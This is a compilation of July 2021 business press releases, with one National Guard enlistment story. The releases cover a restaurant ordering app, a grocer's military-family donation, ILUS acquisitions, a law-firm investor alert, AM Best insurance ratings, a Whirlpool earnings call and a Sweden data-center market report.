SpendEdge shares your passion for driving sourcing and procurement excellence. We are the preferred procurement market intelligence partner for 120+ Fortune 500 firms and other leading companies across numerous industries. Our strength lies in delivering robust, real-time procurement market intelligence reports and solutions.

Contact

SpendEdge

Anirban Choudhury

Marketing Manager

Ph No: +1 (872) 206-9340

https://www.spendedge.com/contact-us

View original content to download multimedia:https://www.prnewswire.com/news-releases/post-covid-19-hr-consulting-services-market-procurement-research-report--spendedge-301332948.html

SOURCE SpendEdge
[July 14, 2021] Restaurants Ease Labor Shortage Woes With New Technology From Cut+Dry That Reduces Supplier Ordering Time By 50%

Today, Cut+Dry announced nationwide availability of its free, time-and-cost-saving application. The technology is a first-of-its-kind unified ordering and payments platform that allows restaurants to order any product from any supplier, pay any business via bank transfer or credit card, and earn cash rewards directly from manufacturers. Early users include Los Angeles-based Massis Kabob and Bay Area favorites Burma Superstar, Trick Dog, and Coupa Cafe, who reports cutting ordering time in half, saving thousands per year in labor hours. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210714005199/en/ Screenshots of the free Cut+Dry mobile app. (Photo: Business Wire) The average restaurant orders from four to eight unique suppliers, often daily. This time-consuming multi-step process on a per supplier basis involves ordering, receiving, coding, expense tracking, and accounting, which is spread across various staff members resulting in miscommunication, errors, and food waste. Multiple locations only further complicate the ordering task for those responsible. Cut+ry's Order feature brings greater transparency and efficiency to the cumbersome, time-consuming, and error-prone supplier ordering process by digitizing what has been previously managed by spreadsheets, clipboards, phone, text or fax. The app provides a permanent digital ordering record, allowing teams to efficiently submit orders, check-in deliveries, chat with supplier sales representatives, scan invoices, request credits, reconcile with accounting, and track price fluctuations.



Coupa Cafe, a rapidly growing fast-casual coffee and bakery-cafe chain in the heart of Silicon Valley, found itself overwhelmed by the overhead of ordering for their eight locations. Co-owner Jean Paul "JP" Coupal partnered with Cut+Dry to streamline operations. "I'm in Silicon Valley, a stone's throw away from Stanford University, and I've got fifteen people ordering supplies the same way that my grandfather would have ordered stuff. I knew there must be a better way," said Coupal. "We were spending at least two hours a day per location managing orders. The minimum wage is $15 in California, so with eight locations, it was as if we had three full-time employees just doing data entry. Cut+Dry helped cut this time in half, saving thousands each year." In addition to providing an easier ordering process, Cut+Dry's Pay feature allows restaurants to pay any invoice via ACH or credit card, even where cards are not accepted. The platform is the only restaurant technology solution that is free and puts money back into independent restaurant owners' pockets with Cut+Dry Cash. This unique feature identifies eligible products and automatically deposits cash rewards, directly from brands and manufacturers, into a digital wallet which can be withdrawn or used within Pay.

Cut+Dry has partnered with the International Foodservice Manufacturers Association (IFMA) to provide their members, which include the largest food producers in the world, with direct access to independent restaurant chefs and buyers. Larry Oberkfell, IFMA President & CEO, stated, "Technology is dramatically changing our industry in ways that we could have never imagined. Cut+Dry is a perfect example of a solution that completely changes our paradigm on how foodservice operators and suppliers work together. Suppliers can now interact directly with restaurants and other operators seamlessly, which is what led us to introduce Cut+Dry to our membership." About Cut+Dry Founded in 2019, Cut+Dry is a free app that allows independent restaurants to order any product from any supplier, pay anyone via bank transfer or credit card, and earn cash rewards along the way. The company was created by the executive team that founded CAKE and BuzzTable, acquired by Sysco (SYY), and subsequently helped create Sysco LABS, which leads the majority of Sysco's internal and customer-facing technology solutions. Cut+Dry is available for any independent restaurant across the United States. For more information or to create a free account, please visit www.cutanddry.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005199/en/

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[July 14, 2021] Southeastern Grocers Brightens Futures for Military Families with $1.5M Donation to Folds of Honor

Southeastern Grocers Inc. (SEG), parent company and home of Fresco y Mas, Harveys Supermarket and Winn-Dixie grocery stores, today announces the donation of $1.5 million to Folds of Honor to help provide educational scholarships to the spouses and children of America's fallen and disabled service members. This significant donation is made possible through contributions from valued partners and generous in-store customer donations, as well as the grocer's charitable foundation. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210714005789/en/ Southeastern Grocers associates present a $1.5 million donation to Folds of Honor and scholarship recipients on behalf of valued partners, generous in-store customer donations and the grocer's charitable foundation. (Photo: Business Wire) The six-week community donation program kicked-off with a $50,000 donation from world-class chef Robert Irvine through The Robert Irvine Foundation in partnership with Coca-Cola. From May 26 - July 4, Fresco y Mas, Harveys Supermarket and Winn-Dixie customers were invited to round up their total grocery bill to the nearest dollar or make a donation of their choice at check out in honor of United States military heroes and their loved ones. Inspired by the outpouring support of the community, the grocer's charitable foundation, SEG Gives, also made a $500,000 donation to the program to provide an additional 100 scholarships. Anthony Hucker, President and CEO of Southeastern Grocers, said, "At Southeastern Grocers, we are devoted to our local communities and passionate about giving back to those who have given so much for our freedoms. Through our continued partnership with Folds of Honor, we are able to make a lasting impact in the lives of local military service families by helping educate our nation's future. It's an honor that we take great pride in, and we are pleased to announce that we have donated more than 1,100 educational scholarships to the families of America's fallen and disabled veterans over the past three years. We believe it's our duty to pay it forward, and we are extremely thankful to our customers, associates and partners for standing with us in support of Folds of Honor." Lt. Col. Dan Rooney, CEO and Founder of Folds of Honor, said, "We are so grateful for our partnership with Southeastern rocers as they continue to make a positive impact in the lives of our military service families throughout the Southeast year after year. The loyalty and kindness of their customers and community is simply unmatched. More than a thousand lives, families and futures are now changed thanks to America's most patriotic grocery store."



During the program, the grocer continued its partnership with country music star John Rich where 10% of proceeds from his Redneck Riviera Whiskey supported the cause. SEG also donated $1 for every bottle sold throughout the duration of the community donation program. In addition, a portion of proceeds from every bottle of Redneck Rivera's 1776 BBQ Sauce (Original and Kickin' Honey) sold in stores benefitted Folds of Honor. Vendor partner Tito's Handmade Vodka also pledged $1 to Folds of Honor for each bottle sold during the month of May. These generous donations expanded the grocer's support for the customers, associates and families of those who have served, continue to serve or have made the ultimate sacrifice for our country. Every cent donated during the campaign will go directly to Folds of Honor to provide 300 educational scholarships for spouses and children of America's fallen and disabled service members. Scholarships awarded through Folds of Honor provide private education tuition and tutoring for children in grades K-12, along with higher education tuition assistance for children, spouses and dependents.

Since 2018, SEG has donated more than $5.5 million to Folds of Honor, which has provided more than 1,100 educational scholarships to the children and spouses impacted by a loved one's sacrifice for the United States military. Since 2007, Folds of Honor has awarded approximately 29,000 educational scholarships to spouses and children of America's fallen and disabled service members. Last year alone, Folds of Honor awarded 4,500 educational scholarships throughout the United States, including 874 life-changing scholarships within the five states SEG serves. About Southeastern Grocers

Southeastern Grocers Inc. (SEG), parent company and home of Fresco y Mas, Harveys Supermarket and Winn-Dixie grocery stores, is one of the largest conventional supermarket companies in the U.S. SEG grocery stores, liquor stores and in-store pharmacies serve communities throughout the five southeastern states of Alabama, Florida, Georgia, Louisiana and Mississippi. Fresco y Mas, Harveys Supermarket and Winn-Dixie are well-known and well-respected regional brands with deep heritages, strong neighborhood ties, proud histories of giving back, talented and caring associates and strong commitments to providing the best possible quality and value to customers. For more information, visit www.frescoymas.com, www.harveyssupermarkets.com and www.winndixie.com. About SEG Gives Foundation

SEG Gives Foundation is the charitable arm of Southeastern Grocers Inc. (SEG), parent company of Fresco y Mas, Harveys Supermarket and Winn-Dixie grocery stores. The SEG Gives Foundation aligns giving with causes that are priorities to the communities SEG serves, including the fight against hunger, support for military service members and their families, relief to those affected by extreme weather and natural disasters and quality educational opportunities for students. Southeastern Grocers strives to be ingrained in its communities and, through the SEG Gives Foundation, better the lives of its customers and neighbors. About Folds of Honor

Folds of Honor is a 501(C)(3) nonprofit organization that provides educational scholarships to families of military men and women who have fallen or been disabled while on active duty in the United States armed forces. Our educational scholarships support private education tuition and tutoring for children in grades K-12, as well as higher education tuition assistance for spouses and dependents. Founded in 2007 by Lt Col Dan Rooney, a PGA member and F-16 fighter pilot currently stationed at Tyndall AFB Florida as a member of 301st Fighter Squadron who served three tours of duty in Iraq, Folds of Honor is proud to have awarded more than 29,000 scholarships in all 50 states, as well as Guam, Puerto Rico and the Virgin Islands, including more than 4,500 in 2020 alone. For more information or to donate in support of a Folds of Honor scholarship, visit www.foldsofhonor.org. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005789/en/

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[July 14, 2021] OTC:ILUS, ILUS International (Ilustrato Pictures International Inc), Signs Letters of Intent for Two Strategic US Acquisitions

NEW YORK, July 14, 2021 (GLOBE NEWSWIRE) -- via NewMediaWire -- ILUS International Inc (OTC: ILUS): ILUS is a M&A company focussed on acquiring and developing technology-based companies globally. The company has already completed 3 acquisitions in 2021 and recently announced its US acquisition and growth strategy. This strategy includes the acquisition of strategically aligned US companies, the addition of US based manufacturing and distribution capability and the recruitment of key US based team members for sales, marketing and manufacturing. ILUS has signed Letters of Intent for the acquisition of a Texas based specialist oil and gas fire system and pump manufacturer and a Tennessee based truck bed manufacturer, specialising in firefighting brush trucks. Founded over 30 years ago in Texas with a long history and strong reputation in the industry, having supplied companies such as Shell and Exxon, the specialist fire system and pump manufacturer houses complete design, manufacturing and fabrication facilities within its large facility. The company achieved revenue of $8 million in 2020 and currently has an existing order book of $2 million. With ILUS focus on technology which will enhance the Emergency Services market and increase the delivery of vital life safety solutions, this company will be a significantly strategic acquisition for ILUS. Some key considerations for ILUS include the companys end-to-end manufacturing capability, expert skills and experience, oil and gas customer base with links to the oil and gas market in the Middle East where ILUS is also operating, the ability to manufacture and assemble additional ILUS products and its proximity to the renowned Texas Fire Training Academy (TEEX) for the testing and demonstration of ILUS products. The Tennessee based acquisition owns its manufacturing facility, has been in business for over 18 years and is a reputable manufacturer and supplier of truck beds with the most notable application for its technology being brush trucks for wildfire and traditional firefighting. The companys products have already proven popular across the US, with many customers sending their vehicles to Tennessee to be fitted out by the company. 2020 revenue for the company was $2 million with exceptional potential to increase this through the implementation of a focussed sales and marketing strategy and added routes to market, including nationwide dealerships. In addition to this, ILUS will incorporate its innovative plastic body manufacturing, pump and nozzle technology into the acquisitions offering, thereby also improving its fire and rescue capability. With both Letters of Intent for the above-mentioned companies igned, ILUS is now in the final stages of completing its Due Diligence on the acquisitions whilst the team are planning the growth strategy and roll out. ILUS CEO, Nick Link and Director, John-Paul Backwell will be traveling to the US next week to complete the contract negotiation for these deals, finalise ILUS US manufacturing and distribution capability, recruit key team members and meet with Shareholders. Due to signed Non-Disclosure Agreements being in place, ILUS cannot release the names of the acquisitions until the final contracts are signed.



ILUS CEO, Nick Link, commented with the following: We are excited to announce the signing of these Letters of Intent for two very well established and strategically aligned US companies. I have no doubt that the ILUS Team, supported by the greater ILUS Family, will grow these companies and that they will also add significant value to the existing ILUS companies. For further information on the companies please see their communication channels

Website: https://ilus-group.com

Twitter : OTC_ILUS Contact: Email: IR@Ilus-Group.com Source: ILUS Related Links https://ilus-group.com Forward-Looking Statement

Certain information set forth in this press release contains "forward-looking information", including "future-oriented financial information" and "financial outlook", under applicable securities laws (collectively referred to herein as forward-looking statements). Except for statements of historical fact, the information contained herein constitutes forward-looking statements and includes, but is not limited to, the (i) projected financial performance of the Company; (ii) completion of, and the use of proceeds from, the sale of the shares being offered hereunder; (iii) the expected development of the Company's business, projects, and joint ventures; (iv) execution of the Company's vision and growth strategy, including with respect to future M&A activity and global growth; (v) sources and availability of third-party financing for the Company's projects; (vi) completion of the Company's projects that are currently underway, in development or otherwise under consideration; (vi) renewal of the Company's current customer, supplier and other material agreements; and (vii) future liquidity, working capital, and capital requirements. Forward-looking statements are provided to allow potential investors the opportunity to understand management's beliefs and opinions in respect of the future so that they may use such beliefs and opinions as one factor in evaluating an investment. These statements are not guarantees of future performance and undue reliance should not be placed on them. Such forward-looking statements necessarily involve known and unknown risks and uncertainties, which may cause actual performance and financial results in future periods to differ materially from any projections of future performance or result expressed or implied by such forward-looking statements. Although forward-looking statements contained in this presentation are based upon what management of the Company believes are reasonable assumptions, there can be no assurance that forward-looking statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. The Company undertakes no obligation to update forward-looking statements if circumstances or management's estimates or opinions should change except as required by applicable securities laws. The reader is cautioned not to place undue reliance on forward-looking statements. The Securities and Exchange Commission ("SEC") has provided guidance to issuers regarding the use of social media to disclose material non-public information. In this regard, investors and others should note that we announce material financial information via official Press Releases, in addition to SEC filings, press releases, Questions & Answers sessions, public conference calls and webcasts also may take time from time to time. We use these channels as well as social media to communicate with the public about our company, our services and other issues. It is possible that the information we post on social media could be deemed to be material information. Therefore, in light of the SEC's guidance, we encourage investors, the media, and others interested in our company to review the information we post on the following social & media channels: Website: https://ilus-group.com Twitter : OTC_ILUS Note: ILUS Coin does not sit within ILUS International Inc (Ilustrato Pictures International Inc) so the public are recommended to follow the correct Media Channels relating to the public company OTC: ILUS.



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[July 14, 2021] INVESTIGATION ALERT: The Schall Law Firm Announces it is Investigating Claims Against Kansas City Southern and Encourages Investors with Losses to Contact the Firm

The Schall Law Firm, a national shareholder rights litigation firm, announces that it is investigating claims on behalf of investors of Kansas City Southern ("KCS" or "the Company") (NYSE: KSU) for violations of the securities laws. The investigation focuses on whether the Company issued false and/or misleading statements and/or failed to disclose information pertinent to investors. The Wall Street Journal published an article on July 8, 2021, titled: "Biden to Target (News - Alert) Railroads, Ocean Shipping in Executive Order." According to the article, the Biden White House "will ask the ederal Maritime Commission and the Surface Transportation Board to combat what it calls a pattern of consolidation and aggressive pricing that has made it onerously expensive for American companies to transport goods to market." Based on this news, shares of KCS fell by 7% on the same day.



If you are a shareholder who suffered a loss, click here to participate. We also encourage you to contact Brian Schall of the Schall Law Firm, 2049 Century Park East, Suite 2460, Los Angeles, CA (News - Alert) 90067, at 310-301-3335, to discuss your rights free of charge. You can also reach us through the firm's website at www.schallfirm.com, or by email at brian@schallfirm.com.

The class in this case has not yet been certified, and until certification occurs, you are not represented by an attorney. If you choose to take no action, you can remain an absent class member. The Schall Law Firm represents investors around the world and specializes in securities class action lawsuits and shareholder rights litigation. This press release may be considered Attorney Advertising in some jurisdictions under the applicable law and rules of ethics. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005811/en/

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[July 14, 2021] AM Best Maintains Under Review With Developing Implications Status for Credit Ratings of Madison National Life Insurance Company, Inc.

AM Best has maintained the under review with developing implications status for the Financial Strength Rating of A- (Excellent) and the Long-Term Issuer Credit Rating of "a-" (Excellent) of Madison National Life Insurance Company, Inc. (Madison National) (Madison, WI). This Credit Rating (rating) action follows the announcement that Independence Holding Company (IHC) and its wholly owned subsidiary, Independence Capital Corp. (ICC), have agreed to sell all of the stock of Madison National Life Insurance Company (MNL) to Horace Mann Educators Corporation for a purchase price of $172.5 million in cash. Furthermore, under the terms of agreement, it is specified that if IHC reaches certain outlined financial targets in 2023, an additional $12.5 million will be paid to IHC. The transaction, approved by IHC's board of directors, is expected to close no earlier than Jan. 1, 2022 and is subject to customary closing conditions, including regulatory approvals. AM Best notes that is the third transaction that IHC has announced over the past three months following the announced sale of Standard Security Life Insurance Company of New York (SSL) in April 2021, and the sale of a 70% controlling interest in its pet division including the stock of Independence American Insurance Company announced in May 2021. MNL provides disability and group life products and operates in 49 states. MNL had capital and surplus of $86.1 million and premiums of $108.0 million at year-end 2020. The ratings will remain under review while AM est discusses the details of the acquisition with company management and until the transaction closes.



This press release relates to Credit Ratings that have been published on AM Best's website. For all rating information relating to the release and pertinent disclosures, including details of the office responsible for issuing each of the individual ratings referenced in this release, please see AM Best's Recent Rating Activity web page. For additional information regarding the use and limitations of Credit Rating opinions, please view Guide to Best's Credit Ratings. For information on the proper media use of Best's Credit Ratings and AM Best press releases, please view Guide for Media - Proper Use of Best's Credit Ratings and AM Best Rating Action Press Releases. AM Best is a global credit rating agency, news publisher and data analytics provider specializing in the insurance industry. Headquartered in the United States, the company does business in over 100 countries with regional offices in London, Amsterdam, Dubai, Hong Kong, Singapore and Mexico City. For more information, visit www.ambest.com.

Copyright  2021 by A.M. Best Rating Services, Inc. and/or its affiliates. ALL RIGHTS RESERVED. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005885/en/

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[July 14, 2021] Whirlpool Corporation To Announce Second-Quarter Results On July 21 And Hold Conference Call On July 22

BENTON HARBOR, Mich., July 14, 2021 /PRNewswire/ -- Whirlpool Corporation (NYSE: WHR), committed to being the best global kitchen and laundry company, in constant pursuit of improving life at home, will release its second-quarter financial results and presentation materials at 4:05 p.m. ET on Wednesday, July 21, 2021. Whirlpool Corporation will then hold a conference call to discuss its performance with the investment community at 8 a.m. ET on Thursday, July 22, 2021. To participate in the conference call, dial (866) 393-4306 and use the confirmation code Whirlpool. International participants should dial (734) 385-2616 and use the confirmation code Whirlpool. The Company suggests that participants dial in ahead of the meeting, as they may experience longer than usual wait times. The conference call will be webcast live on the Company's web site at www.whirlpoolcorp.com and may be accessed by clicking on the "Investors" tab located at the top of the page. To listen to the live webcast, participants should visit the site at least 15 minutes prior to the conference call to download any required streaming media software. Key financial statistics, the earnings presentation, and an archived recording of the conference call will be available on the Company's web site for at least 30 days.



About Whirlpool Corporation

Whirlpool Corporation (NYSE: WHR) is committed to being the best global kitchen and laundry company, in constant pursuit of improving life at home. In an increasingly digital world, the company is driving purposeful innovation to meet the evolving needs of consumers through its iconic brand portfolio, including Whirlpool, KitchenAid, Maytag, Consul, Brastemp, Amana, Bauknecht, JennAir, Indesit and Yummly. In 2020, the company reported approximately $19 billion in annual sales, 78,000 employees and 57 manufacturing and technology research centers. Additional information about the company can be found at WhirlpoolCorp.com. Website Disclosure

We routinely post important information for investors on our website, whirlpoolcorp.com, in the "Investors" section. We also intend to update the Hot Topics Q&A portion of this webpage as a means of disclosing material, non-public information and for complying with our disclosure obligations under Regulation FD. Accordingly, investors should monitor the Investors section of our website, in addition to following our press releases, SEC filings, public conference calls, presentations and webcasts. The information contained on, or that may be accessed through, our webpage is not incorporated by reference into, and is not a part of, this document.

View original content to download multimedia:https://www.prnewswire.com/news-releases/whirlpool-corporation-to-announce-second-quarter-results-on-july-21-and-hold-conference-call-on-july-22-301333802.html SOURCE Whirlpool Corporation

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[July 14, 2021] AM Best Upgrades Credit Ratings of Members of National Teachers Association Life Group and Affirms Credit Ratings of Horace Mann Educators Corporation; Comments on Credit Ratings After Announced Acquisition

AM Best has the upgraded the Financial Strength Rating (FSR) to A (Excellent) from A- (Excellent) and the Long-Term Issuer Credit Ratings (Long-Term ICRs) to "a" (Excellent) from "a-" (Excellent) of National Teachers Associates Life Insurance Company (Addison, TX) and its affiliated entity, NTA (News - Alert) Life Insurance Company of New York (New York, NY) (collectively referred to as NTA Life). In addition, AM Best has affirmed the FSR of A (Excellent) and the Long-Term ICRs of "a" (Excellent) of the property/casualty (P/C) members of Horace Mann Insurance Group (Horace Mann). AM Best also has affirmed the FSR of A (Excellent) and the Long-Term ICR of "a" (Excellent) of Horace Mann Life Insurance Company (Horace Mann Life). Concurrently, AM Best has affirmed the Long-Term ICR of "bbb" (Good) of Horace Mann Educators Corporation (HMEC) [NYSE: HMN] and the Long-Term Issue Credit Rating of "bbb" (Good) on its $250 million, 4.5% senior unsecured notes, due 2025. The outlook of these Credit Ratings (ratings) is stable. All companies are headquartered in Springfield, IL, unless otherwise specified. (See below for a detailed list of the P/C subsidiaries). In addition, AM Best has commented that the ratings of HMEC and its insurance operating subsidiaries are unchanged following the disclosure of relevant public information. The comment follows the July 14, 2021, announcement by HMEC that the organization has entered into a definitive agreement to acquire Madison National Life Insurance Company, Inc. (Madison National), a subsidiary of Independence Holding Company (NYSE: IHC). Madison National is domiciled in Wisconsin and offers short- and long-term group disability insurance, group life insurance and other group products. They are a leading writer of employer-paid and employer-sponsored benefits provided to educators by K-12 school districts with multiple distribution relationships and capabilities. Madison National will afford HMEC with diversification in premiums and earnings and improve the value proposition for the education market. AM Best will continue to monitor the impact of this transaction, which is expected to close in January 2022. The ratings of NTA Life reflect its balance sheet strength, which AM Best assesses as very strong, as well as its adequate operating performance, limited business profile and appropriate enterprise risk management (ERM). The ratings also reflect support the company receives from its parent, HMEC, and full intgration of their operations, as products of NTA Life are cross-sold as complementary products to the life and P/C products.



AM Best expects NTA Life's risk-adjusted capital to remain at the strongest level, as measured by Best's Capital Adequacy Ratio (BCAR). NTA Life has reported consistent net income and strong profitability ratios offering supplemental insurance products. The ratings of Horace Mann reflect the group's balance sheet strength, which AM Best assesses as strongest, as well as its adequate operating performance, neutral business profile and appropriate ERM.

Horace Mann maintains the strongest level of risk-adjusted capitalization. as measured by BCAR, which benefits from a solid investment portfolio and conservative reserving practices. The group continues to report favorable underwriting results driven by reduced frequency of claims due to the pandemic despite an increase in catastrophe losses. The ratings of Horace Mann Life reflect its balance sheet strength, which AM Best assesses as strong, as well as its strong operating performance, neutral business profile and appropriate ERM. Horace Mann Life has established itself as one of the largest providers of 403(b) tax-qualified fixed and variable annuities in the United States, focused on educators as its primary market. The company continues to report solid net income, which has contributed to capital and surplus growth. Operating performance is enhanced by favorable persistency, cost reduction initiatives and increased agent productivity. The FSR of A (Excellent) and the Long-Term ICRs of "a" (Excellent) have been affirmed with a stable outlook for the following P/C members of Horace Mann Insurance Group: Horace Mann Insurance Company

Horace Mann Property & Casualty Insurance Company

Teachers Insurance Company

Horace Mann Lloyds This press release relates to Credit Ratings that have been published on AM Best's website. For all rating information relating to the release and pertinent disclosures, including details of the office responsible for issuing each of the individual ratings referenced in this release, please see AM Best's Recent Rating Activity web page. For additional information regarding the use and limitations of Credit Rating opinions, please view Guide to Best's Credit Ratings. For information on the proper media use of Best's Credit Ratings and AM Best press releases, please view Guide for Media - Proper Use of Best's Credit Ratings and AM Best Rating Action Press Releases. AM Best is a global credit rating agency, news publisher and data analytics provider specializing in the insurance industry. Headquartered in the United States, the company does business in over 100 countries with regional offices in London, Amsterdam, Dubai, Hong Kong, Singapore and Mexico City. For more information, visit www.ambest.com. Copyright  2021 by A.M. Best Rating Services, Inc. and/or its affiliates. ALL RIGHTS RESERVED. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005904/en/

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[July 14, 2021] Sweden Data Center Investment & Opportunities Analysis Report 2021-2026: Over $7 Billion will be Invested in Core & Shell Development of Data Centers

DUBLIN, July 14, 2021 /PRNewswire/ -- The "Sweden Data Center Market - Investment Analysis and Growth Opportunities 2021-2026" report has been added to ResearchAndMarkets.com's offering. Sweden data center market size to reach CAGR of 7.82% during the forecast period.



Sweden data center market is currently witnessing investments in about nine facilities, expected to be operational in the next 2-4 years. The country is home to major hyperscale operators such as Facebook, AWS, and Microsoft. Over USD 7 billion will be invested in core & shell development of data centers across Sweden during 2021-2026. Vinnova invested in eight data labs to accelerate AI development in Sweden by targeting AI innovations in healthcare, smart city, transportation, real estate, and other sectors.



KEY HIGHLIGHTS OF THE REPORTS: In Sweden , Stockholm is the major data center hub attracting colocation providers. Over 70% of the revenue in Sweden is generated through datacenters operating in Stockholm .

, is the major data center hub attracting colocation providers. Over 70% of the revenue in is generated through datacenters operating in . Adoption of intelligent PDUs will gain traction, to run sustainable environment and consume less power is growing in the Sweden data center market.

data center market. Datacenter market in Sweden is dominated by free cooling systems, evaporative coolers, free cooling chillers, air/water side economizers, and adiabatic coolers, which will help the market to grow for innovative duct systems.

is dominated by free cooling systems, evaporative coolers, free cooling chillers, air/water side economizers, and adiabatic coolers, which will help the market to grow for innovative duct systems. In 2020, Microsoft and Google were investing in developing Tier IV facilities that are likely operational during the forecast period.

The Swedish government introduced the tax incentive for the datacenters by giving them 97% remission on electricity tax and reducing their electricity cost by 40%. The colocation providers generating around 75% of revenue from datacenter services can claim the tax incentive on the electricity used for the whole facility. SWEDEN DATA CENTER MARKET INSIGHTS The adoption of cloud-based services is growing in Sweden , with over 60% of enterprises utilizing cloud-based applications for their business operations, and is expected to grow to around 90% for at least one service by 2024.

, with over 60% of enterprises utilizing cloud-based applications for their business operations, and is expected to grow to around 90% for at least one service by 2024. AI Sweden (formerly AI innovative of Sweden ) was launched in 2019 as an initiative by the Swedish Government's Ministry of Enterprise and Innovation for digital transformation in automation.

(formerly AI innovative of ) was launched in 2019 as an initiative by the Swedish Government's Ministry of Enterprise and Innovation for digital transformation in automation. Sweden offers regional investment and employment grants for data centers, depending on the investment amount and full-time jobs offered. For instance, the Stockholm Data Center Parks will bring significant investments to the country.

offers regional investment and employment grants for data centers, depending on the investment amount and full-time jobs offered. For instance, the Stockholm Data Center Parks will bring significant investments to the country. Microsoft opened its Swedish data center region in 2021. The company signed a deal with local utility provider Vattenfall to power its facilities with 100% renewable energy.

In Sweden , colocation service providers are developing facilities in Stockholm Data Parks, where faclities are designed to supply the waste heat to district heating systems.

, colocation service providers are developing facilities in Stockholm Data Parks, where faclities are designed to supply the waste heat to district heating systems. Sweden has more than 20 subsea fiber cables connecting it to Finland , Eastern Europe , and other Western European countries.



WHY SHOULD YOU BUY THIS RESEARCH? Market size available in the area, power capacity, investment, and colocation revenue.

An assessment of the Sweden data center investment in the market by colocation, hyperscale, and enterprise operators.

data center investment in the market by colocation, hyperscale, and enterprise operators. Datacenter investments in terms of white floor area (square feet) and power capacity (MW) across cities in the country.

A detailed study of the existing Sweden data center market landscape, an in-depth industry analysis, and insightful predictions about the Sweden data center market size during the forecast period.

data center market landscape, an in-depth industry analysis, and insightful predictions about the data center market size during the forecast period. Snapshot of existing and upcoming third-party facilities in Sweden

Facilities Covered (Existing): 31

Facilities Identified (Upcoming): 9

Coverage: 11 Cities

Existing vs. Upcoming (Data Center Area)

Existing vs. Upcoming (IT Load Capacity)

Datacenter colocation market in Sweden

Market Revenue & Forecast (2020-2026)

Retail Colocation Pricing

Wholesale Colocation Pricing

Classification of the Sweden data center market investments into multiple segments and sub-segments (IT, power, cooling, and general construction services) with market sizing and forecast.

data center market investments into multiple segments and sub-segments (IT, power, cooling, and general construction services) with market sizing and forecast. A comprehensive analysis of the latest trends, growth rate, potential opportunities, and growth restraints, and prospects for the data center market

Business overview and product offerings of prominent IT infrastructure providers, construction contractors, support infrastructure providers, and investors operating in the market.

A transparent research methodology and the analysis of the demand and supply aspect of the market. SWEDEN DATA CENTER MARKET VENDOR LANDSCAPE





Arista Networks, Atos, Broadcom, Cisco Systems, Dell Technologies, Hewlett Packard Enterprise (HPE), Huawei Technologies, IBM, Lenovo, and NetApp are the IT Infrastructure providers. The Sweden data center market is highly competitive, with vendors adopting inorganic strategies for growth and expansion. In 2020, Stockholm received investments in eight facilities from companies such as atNorth (Advania Data Center) & Stockholm Exergi, Bahnhof, Borderlight (GoGreenHost), Digital Realty, and Multigrid.



IT Infrastructure Providers Arista Networks

Atos

Broadcom

Cisco Systems

Dell Technologies

Hewlett Packard Enterprise (HPE)

Huawei Technologies

IBM

Lenovo

NetApp Construction Contractors & Sub-Contractors AFEC

Bravida

Dornan

DPR Construction

Kirby Group Engineering

NCC

RED-Engineering

STS Group

Skanska Support Infrastructure Providers ABB

Caterpillar

Cummins

Climaveneta Climate Technologies

Eaton

NetNordic,

KOHLER-SDMO

Legrand

Rolls-Royce Power Systems

Rittal

Riello Elettronica

Schneider Electric

Socomec

STULZ

Vertiv Group. Data Center Investors atNorth

Bahnhof

Digital Realty

EcoDataCenter

Facebook

Google

Multigrid

Microsoft

Northern Data REPORT COVERAGE



This report analyzes the Sweden Data Center market share and offers elaborative analysis of the existing and upcoming facilities, datacenter investments in terms of IT, electrical, mechanical infrastructure, general construction, and geography. It discusses market sizing and estimation for different segments with respect to the investment in the facilities.



EXISTING VS. UPCOMING DATA CENTERS

Existing Facilities in the country (White Floor Area and Power Capacity)

Stockholm

Other Cities

List of Upcoming Facilities in the country (White Floor Area and Power Capacity) SWEDEN DATA CENTER INVESTMENT COVERAGE

Infrastructure Type

IT Infrastructure

Electrical Infrastructure

Mechanical Infrastructure

General Construction IT Infrastructure Server

Storage

Network Electrical Infrastructure Uninterruptible Power Supply (UPS)

Generators

Transfer Switches and Switchgears

PDUs

Other Electrical Infrastructure Mechanical Infrastructure Cooling Systems

Racks

Other Mechanical Infrastructure Cooling Systems CRAC & CRAH Units

Chillers

Cooling Towers, Condensers, and Dry Coolers

Economizers & Evaporative Coolers

Other Cooling Units General Construction Building Development

Installation & Commissioning Services

Building & Engineering Design

Physical Security

Data Center Infrastructure Management (DCIM) Tier Segments Tier I & Tier II

Tier III

Tier IV Geography Stockholm

Other Cities For more information about this report visit https://www.researchandmarkets.com/r/167i5y Media Contact: Research and Markets

Laura Wood, Senior Manager

press@researchandmarkets.com



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Fax (outside U.S.): +353-1-481-1716 View original content:https://www.prnewswire.com/news-releases/sweden-data-center-investment--opportunities-analysis-report-2021-2026-over-7-billion-will-be-invested-in-core--shell-development-of-data-centers-301334044.html SOURCE Research and Markets

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NASHVILLE, Tenn. A graduate student from Trevecca Nazarene University and a Nashville native committed to serving her state and country enlisted in the Tennessee Army National Guard as a culinary specialist on June 8.

Spc. JaShabrel Miller will begin ten weeks of Basic Combat Training at Fort Jackson, South Carolina, August 17. There she will learn basic soldiering skills such as land navigation, marksmanship, battle tactics, and Army traditions.

She will then spend eight weeks attending Advanced Individual Training at Fort Lee, Virginia, specializing in food preparation, hospitality, and stocking and storage operations.

Once AIT is complete, Miller will drill with Murfreesboros 269th Military Police Company.

Miller earned her bachelors degree in Public Relations at Belmont University in 2017 and is currently working on her Masters degree in Business Administration, with a focus in human resources at Trevecca Nazarene University. While balancing her life as a Soldier and student, Miller is also a mother to her four-year-old daughter, Ava.

What keeps me going is the desire to move up, not just in my civilian career, but my military career as well, said Miller.

I joined the Tennessee Army National Guard because it is an honor to serve my country, said Miller. I am a strong believer in giving back to the community and being a helping hand to others. I also wanted to set a great example for my friends and family who may also follow in my footsteps and better myself by using some of the many benefits offered to Soldiers.

Miller plans to take advantage of the Student Loan Repayment Program to pay off her student loan acquired during her studies. The SLRP will cover up to $50,000 of student loans. She also plans to utilize the TN STRONG Act, which will cover 100% of her graduate in-state tuition.

Miller plans to attend Officer Candidate School to earn her commission as a Human Resources Officer.
Critics warned us that the fate of Kansas City is tied into their airport.



